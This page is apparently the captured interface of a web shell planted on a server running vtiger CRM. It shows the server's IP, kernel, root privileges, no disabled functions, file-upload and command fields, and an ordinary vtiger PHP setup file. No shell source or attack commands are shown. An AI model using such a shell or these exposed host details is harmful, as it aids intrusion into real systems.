403Webshell
Server IP : 138.197.176.125  /  Your IP : 216.73.217.122
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux SuiteCRM-8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/vtiger75/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vtiger75/add_related_modulelist.php
<?php
$Vtiger_Utils_Log = true;
include_once 'vtlib/Vtiger/Module.php';
include_once 'includes/main/WebUI.php';

$db = PearDatabase::getInstance();
$projectModuleModel = Vtiger_Module_Model::getInstance('CTAttendance');
$fieldModel = Vtiger_Field::getInstance('eventid', $projectModuleModel);
if ($fieldModel) {
	$fieldModel->setRelatedModules(array('Events'));
	$result = $db->pquery('SELECT 1 FROM vtiger_relatedlists where tabid=? AND relationfieldid=? AND related_tabid=? AND presence = 0', array(getTabid('Events'), $fieldModel->id, getTabid('CTAttendance')));
	if (!($db->num_rows($result))) {
		$potentialModuleModel = Vtiger_Module_Model::getInstance('Events');
		$potentialModuleModel->setRelatedList($projectModuleModel, 'CTAttendance', array(), 'get_dependents_list', $fieldModel->id);
	}
}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit